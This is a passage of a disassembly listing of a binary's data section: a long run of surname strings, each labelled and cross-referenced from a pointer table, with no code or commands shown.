aKemsley	db 'Kemsley',0          ; DATA XREF: nsp0:00430310o
aKempton	db 'Kempton',0          ; DATA XREF: nsp0:0043030Co
aKelsey		db 'Kelsey',0           ; DATA XREF: nsp0:00430308o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: nsp0:00430304o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: nsp0:00430300o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: nsp0:004302FCo
aKeenan		db 'Keenan',0           ; DATA XREF: nsp0:004302F8o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: nsp0:004302F4o
aKawachi	db 'Kawachi',0          ; DATA XREF: nsp0:004302F0o
aKasten		db 'Kasten',0           ; DATA XREF: nsp0:004302ECo
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: nsp0:004302E8o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: nsp0:004302E4o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: nsp0:004302E0o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: nsp0:004302DCo
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: nsp0:004302D8o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: nsp0:004302D4o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: nsp0:004302D0o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: nsp0:004302CCo
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: nsp0:004302C8o
aKafadar	db 'Kafadar',0          ; DATA XREF: nsp0:004302C4o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: nsp0:004302C0o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: nsp0:004302BCo
aJulious	db 'Julious',0          ; DATA XREF: nsp0:004302B8o
aJuliano	db 'Juliano',0          ; DATA XREF: nsp0:004302B4o
aJucks		db 'Jucks',0            ; DATA XREF: nsp0:004302B0o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: nsp0:004302ACo
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: nsp0:004302A8o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: nsp0:004302A4o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: nsp0:004302A0o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: nsp0:0043029Co
aJewett		db 'Jewett',0           ; DATA XREF: nsp0:00430298o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: nsp0:00430294o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: nsp0:00430290o
aJellis		db 'Jellis',0           ; DATA XREF: nsp0:0043028Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: nsp0:00430288o
aJay		db 'Jay',0              ; DATA XREF: nsp0:00430284o
aJarrell	db 'Jarrell',0          ; DATA XREF: nsp0:00430280o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: nsp0:0043027Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: nsp0:00430278o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: nsp0:00430274o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: nsp0:00430270o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: nsp0:0043026Co
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: nsp0:00430268o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: nsp0:00430264o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: nsp0:00430260o
aJacenko	db 'Jacenko',0          ; DATA XREF: nsp0:0043025Co
aIyer		db 'Iyer',0             ; DATA XREF: nsp0:00430258o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: nsp0:00430254o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: nsp0:00430250o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: nsp0:0043024Co
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: nsp0:00430248o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: nsp0:00430244o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: nsp0:00430240o
aIgarashi	db 'Igarashi',0         ; DATA XREF: nsp0:0043023Co
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: nsp0:00430238o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: nsp0:00430234o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: nsp0:00430230o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: nsp0:0043022Co
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: nsp0:00430228o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: nsp0:00430224o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: nsp0:00430220o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: nsp0:0043021Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: nsp0:00430218o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: nsp0:00430214o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: nsp0:00430210o
aHoward		db 'Howard',0           ; DATA XREF: nsp0:0043020Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: nsp0:00430208o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: nsp0:00430204o
aHoshida	db 'Hoshida',0          ; DATA XREF: nsp0:00430200o
aHorsley	db 'Horsley',0          ; DATA XREF: nsp0:004301FCo
aHopkins	db 'Hopkins',0          ; DATA XREF: nsp0:004301F8o
aHooker_0	db 'Hooker',0           ; DATA XREF: nsp0:004301F4o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: nsp0:004301F0o
aHolway		db 'Holway',0           ; DATA XREF: nsp0:004301ECo
		align 4
aHolter		db 'Holter',0           ; DATA XREF: nsp0:004301E8o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: nsp0:004301E4o
aHolmes		db 'Holmes',0           ; DATA XREF: nsp0:004301E0o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: nsp0:004301DCo
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: nsp0:004301D8o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: nsp0:004301D4o
aHoffer		db 'Hoffer',0           ; DATA XREF: nsp0:004301D0o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: nsp0:004301CCo
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: nsp0:004301C8o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: nsp0:004301C4o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: nsp0:004301C0o
		align 4
aHind		db 'Hind',0             ; DATA XREF: nsp0:004301BCo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: nsp0:004301B8o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: nsp0:004301B4o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: nsp0:004301B0o
aHester		db 'Hester',0           ; DATA XREF: nsp0:004301ACo
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: nsp0:004301A8o
aHernandez	db 'Hernandez',0        ; DATA XREF: nsp0:004301A4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: nsp0:004301A0o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: nsp0:0043019Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: nsp0:00430198o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: nsp0:00430194o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: nsp0:00430190o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: nsp0:0043018Co
aHeiland	db 'Heiland',0          ; DATA XREF: nsp0:00430188o
aHeft		db 'Heft',0             ; DATA XREF: nsp0:00430184o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: nsp0:00430180o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: nsp0:0043017Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: nsp0:00430178o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: nsp0:00430174o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: nsp0:00430170o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: nsp0:0043016Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: nsp0:00430168o
aHartnett	db 'Hartnett',0         ; DATA XREF: nsp0:00430164o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: nsp0:00430160o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: nsp0:0043015Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: nsp0:00430158o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: nsp0:00430154o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: nsp0:00430150o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: nsp0:0043014Co
aHanssen	db 'Hanssen',0          ; DATA XREF: nsp0:00430148o
aHand		db 'Hand',0             ; DATA XREF: nsp0:00430144o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: nsp0:00430140o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: nsp0:0043013Co
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: nsp0:00430138o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: nsp0:00430134o
aHallowell	db 'Hallowell',0        ; DATA XREF: nsp0:00430130o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: nsp0:0043012Co
aHaley		db 'Haley',0            ; DATA XREF: nsp0:00430128o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: nsp0:00430124o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: nsp0:00430120o
aHaar		db 'Haar',0             ; DATA XREF: nsp0:0043011Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: nsp0:00430118o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: nsp0:00430114o
aGunn		db 'Gunn',0             ; DATA XREF: nsp0:00430110o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: nsp0:0043010Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: nsp0:00430108o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: nsp0:00430104o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: nsp0:00430100o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: nsp0:004300FCo
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: nsp0:004300F8o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: nsp0:004300F4o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: nsp0:004300F0o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: nsp0:004300ECo
aGozzi		db 'Gozzi',0            ; DATA XREF: nsp0:004300E8o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: nsp0:004300E4o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: nsp0:004300E0o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: nsp0:004300DCo
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: nsp0:004300D8o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: nsp0:004300D4o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: nsp0:004300D0o
aGlegg		db 'Glegg',0            ; DATA XREF: nsp0:004300CCo
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: nsp0:004300C8o
aGist		db 'Gist',0             ; DATA XREF: nsp0:004300C4o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: nsp0:004300C0o
		align 4
aGill		db 'Gill',0             ; DATA XREF: nsp0:004300BCo
		align 10h
aGili		db 'Gili',0             ; DATA XREF: nsp0:004300B8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: nsp0:004300B4o
aGibson_0	db 'Gibson',0           ; DATA XREF: nsp0:004300B0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: nsp0:004300ACo
aGhorai		db 'Ghorai',0           ; DATA XREF: nsp0:004300A8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: nsp0:004300A4o
aGeorgi		db 'Georgi',0           ; DATA XREF: nsp0:004300A0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: nsp0:0043009Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: nsp0:00430098o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: nsp0:00430094o
aGarman		db 'Garman',0           ; DATA XREF: nsp0:00430090o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: nsp0:0043008Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: nsp0:00430088o
aGalwey		db 'Galwey',0           ; DATA XREF: nsp0:00430084o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: nsp0:00430080o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: nsp0:0043007Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: nsp0:00430078o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: nsp0:00430074o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: nsp0:00430070o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: nsp0:0043006Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: nsp0:00430068o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: nsp0:00430064o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: nsp0:00430060o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: nsp0:0043005Co
aFrisken	db 'Frisken',0          ; DATA XREF: nsp0:00430058o
aFriedland	db 'Friedland',0        ; DATA XREF: nsp0:00430054o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: nsp0:00430050o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: nsp0:0043004Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: nsp0:00430048o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: nsp0:00430044o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: nsp0:00430040o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: nsp0:0043003Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: nsp0:00430038o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: nsp0:00430034o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: nsp0:00430030o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: nsp0:0043002Co
aFortes		db 'Fortes',0           ; DATA XREF: nsp0:00430028o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: nsp0:00430024o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: nsp0:00430020o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: nsp0:0043001Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: nsp0:00430018o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: nsp0:00430014o
aFisk		db 'Fisk',0             ; DATA XREF: nsp0:00430010o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: nsp0:0043000Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: nsp0:00430008o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: nsp0:00430004o
aFink		db 'Fink',0             ; DATA XREF: nsp0:00430000o
		align 10h
aField_0	db 'Field',0            ; DATA XREF: nsp0:0042FFFCo
		align 4
aFido		db 'Fido',0             ; DATA XREF: nsp0:0042FFF8o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: nsp0:0042FFF4o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: nsp0:0042FFF0o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: nsp0:0042FFECo
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: nsp0:0042FFE8o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: nsp0:0042FFE4o
aFeldman	db 'Feldman',0          ; DATA XREF: nsp0:0042FFE0o
aFejzo		db 'Fejzo',0            ; DATA XREF: nsp0:0042FFDCo
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: nsp0:0042FFD8o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: nsp0:0042FFD4o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: nsp0:0042FFD0o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: nsp0:0042FFCCo
		align 4
aFarone		db 'Farone',0           ; DATA XREF: nsp0:0042FFC8o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: nsp0:0042FFC4o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: nsp0:0042FFC0o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: nsp0:0042FFBCo
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: nsp0:0042FFB8o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: nsp0:0042FFB4o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: nsp0:0042FFB0o
aEverett	db 'Everett',0          ; DATA XREF: nsp0:0042FFACo
aEuripides	db 'Euripides',0        ; DATA XREF: nsp0:0042FFA8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: nsp0:0042FFA4o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: nsp0:0042FFA0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: nsp0:0042FF9Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: nsp0:0042FF98o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: nsp0:0042FF94o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: nsp0:0042FF90o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: nsp0:0042FF8Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: nsp0:0042FF88o
aEnyeart	db 'Enyeart',0          ; DATA XREF: nsp0:0042FF84o
aEncinas	db 'Encinas',0          ; DATA XREF: nsp0:0042FF80o
aElvis		db 'Elvis',0            ; DATA XREF: nsp0:0042FF7Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: nsp0:0042FF78o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: nsp0:0042FF74o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: nsp0:0042FF70o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: nsp0:0042FF6Co
aEdward		db 'Edward',0           ; DATA XREF: nsp0:0042FF68o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: nsp0:0042FF64o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: nsp0:0042FF60o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: nsp0:0042FF5Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: nsp0:0042FF58o
aEardley	db 'Eardley',0          ; DATA XREF: nsp0:0042FF54o
aDwyer		db 'Dwyer',0            ; DATA XREF: nsp0:0042FF50o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: nsp0:0042FF4Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: nsp0:0042FF48o
aDuffin		db 'Duffin',0           ; DATA XREF: nsp0:0042FF44o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: nsp0:0042FF40o
aDrinker	db 'Drinker',0          ; DATA XREF: nsp0:0042FF3Co
aDowsland	db 'Dowsland',0         ; DATA XREF: nsp0:0042FF38o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: nsp0:0042FF34o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: nsp0:0042FF30o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: nsp0:0042FF2Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: nsp0:0042FF28o
		align 4
aDore		db 'Dore',0             ; DATA XREF: nsp0:0042FF24o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: nsp0:0042FF20o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: nsp0:0042FF1Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: nsp0:0042FF18o
aDoherty	db 'Doherty',0          ; DATA XREF: nsp0:0042FF14o
aDockery	db 'Dockery',0          ; DATA XREF: nsp0:0042FF10o
aDirksen	db 'Dirksen',0          ; DATA XREF: nsp0:0042FF0Co
aDionysius	db 'Dionysius',0        ; DATA XREF: nsp0:0042FF08o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: nsp0:0042FF04o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: nsp0:0042FF00o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: nsp0:0042FEFCo
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: nsp0:0042FEF8o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: nsp0:0042FEF4o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: nsp0:0042FEF0o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: nsp0:0042FEECo
aDesombre	db 'Desombre',0         ; DATA XREF: nsp0:0042FEE8o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: nsp0:0042FEE4o
aDenham		db 'Denham',0           ; DATA XREF: nsp0:0042FEE0o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: nsp0:0042FEDCo
aDemusz		db 'Demusz',0           ; DATA XREF: nsp0:0042FED8o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: nsp0:0042FED4o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: nsp0:0042FED0o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: nsp0:0042FECCo
		align 4
aDelger		db 'Delger',0           ; DATA XREF: nsp0:0042FEC8o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: nsp0:0042FEC4o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: nsp0:0042FEC0o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: nsp0:0042FEBCo
		align 4
aDees		db 'Dees',0             ; DATA XREF: nsp0:0042FEB8o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: nsp0:0042FEB4o
aDerousse	db 'deRousse',0         ; DATA XREF: nsp0:0042FEB0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: nsp0:0042FEACo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: nsp0:0042FEA8o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: nsp0:0042FEA4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: nsp0:0042FEA0o
aDavid		db 'David',0            ; DATA XREF: nsp0:0042FE9Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: nsp0:0042FE98o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: nsp0:0042FE94o
		align 10h
aDas		db 'Das',0              ; DATA XREF: nsp0:0042FE90o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: nsp0:0042FE8Co
aDapice		db 'Dapice',0           ; DATA XREF: nsp0:0042FE88o
		align 4
aDante		db 'Dante',0            ; DATA XREF: nsp0:0042FE84o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: nsp0:0042FE80o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: nsp0:0042FE7Co
aDaly		db 'Daly',0             ; DATA XREF: nsp0:0042FE78o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: nsp0:0042FE74o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: nsp0:0042FE70o
aCyders		db 'Cyders',0           ; DATA XREF: nsp0:0042FE6Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: nsp0:0042FE68o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: nsp0:0042FE64o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: nsp0:0042FE60o
aCui		db 'Cui',0              ; DATA XREF: nsp0:0042FE5Co
aCroxton	db 'Croxton',0          ; DATA XREF: nsp0:0042FE58o
aCroxen		db 'Croxen',0           ; DATA XREF: nsp0:0042FE54o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: nsp0:0042FE50o
aCrocker	db 'Crocker',0          ; DATA XREF: nsp0:0042FE4Co
aCrawford	db 'Crawford',0         ; DATA XREF: nsp0:0042FE48o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: nsp0:0042FE44o
aCounter	db 'Counter',0          ; DATA XREF: nsp0:0042FE40o
aCosmides	db 'Cosmides',0         ; DATA XREF: nsp0:0042FE3Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: nsp0:0042FE38o
aCorey		db 'Corey',0            ; DATA XREF: nsp0:0042FE34o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: nsp0:0042FE30o
aCondodina	db 'Condodina',0        ; DATA XREF: nsp0:0042FE2Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: nsp0:0042FE28o
aComstock	db 'Comstock',0         ; DATA XREF: nsp0:0042FE24o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: nsp0:0042FE1Co
					; nsp0:0042FE20o
aCollis		db 'Collis',0           ; DATA XREF: nsp0:0042FE18o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: nsp0:0042FE14o
aColella	db 'Colella',0          ; DATA XREF: nsp0:0042FE10o
aColdren	db 'Coldren',0          ; DATA XREF: nsp0:0042FE0Co
aCoito		db 'Coito',0            ; DATA XREF: nsp0:0042FE08o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: nsp0:0042FE04o
aClow		db 'Clow',0             ; DATA XREF: nsp0:0042FE00o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: nsp0:0042FDFCo
aClement	db 'Clement',0          ; DATA XREF: nsp0:0042FDF8o
aClark		db 'Clark',0            ; DATA XREF: nsp0:0042FDF4o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: nsp0:0042FDF0o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: nsp0:0042FDECo
aCifarelli	db 'Cifarelli',0        ; DATA XREF: nsp0:0042FDE8o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: nsp0:0042FDE4o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: nsp0:0042FDE0o
		align 4
aChurch		db 'Church',0           ; DATA XREF: nsp0:0042FDDCo
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: nsp0:0042FDD8o
		align 4
aChu		db 'Chu',0              ; DATA XREF: nsp0:0042FDD4o
aChristopher	db 'Christopher',0      ; DATA XREF: nsp0:0042FDD0o
aChristie	db 'Christie',0         ; DATA XREF: nsp0:0042FDCCo
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: nsp0:0042FDC8o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: nsp0:0042FDC4o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: nsp0:0042FDC0o
aChinman	db 'Chinman',0          ; DATA XREF: nsp0:0042FDBCo
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: nsp0:0042FDB8o
aChilds		db 'Childs',0           ; DATA XREF: nsp0:0042FDB4o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: nsp0:0042FDB0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: nsp0:0042FDACo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: nsp0:0042FDA8o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: nsp0:0042FDA4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: nsp0:0042FDA0o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: nsp0:0042FD9Co
		align 4
aCharles_0	db 'Charles',0          ; DATA XREF: nsp0:0042FD98o
aChapman	db 'Chapman',0          ; DATA XREF: nsp0:0042FD94o
aCerioli	db 'Cerioli',0          ; DATA XREF: nsp0:0042FD90o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: nsp0:0042FD8Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: nsp0:0042FD88o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: nsp0:0042FD84o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: nsp0:0042FD80o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: nsp0:0042FD7Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: nsp0:0042FD78o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: nsp0:0042FD74o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: nsp0:0042FD70o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: nsp0:0042FD6Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: nsp0:0042FD68o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: nsp0:0042FD64o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: nsp0:0042FD60o
aCarlos		db 'Carlos',0           ; DATA XREF: nsp0:0042FD5Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: nsp0:0042FD58o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: nsp0:0042FD54o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: nsp0:0042FD50o
aCapursi	db 'Capursi',0          ; DATA XREF: nsp0:0042FD4Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: nsp0:0042FD48o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: nsp0:0042FD44o
		align 4
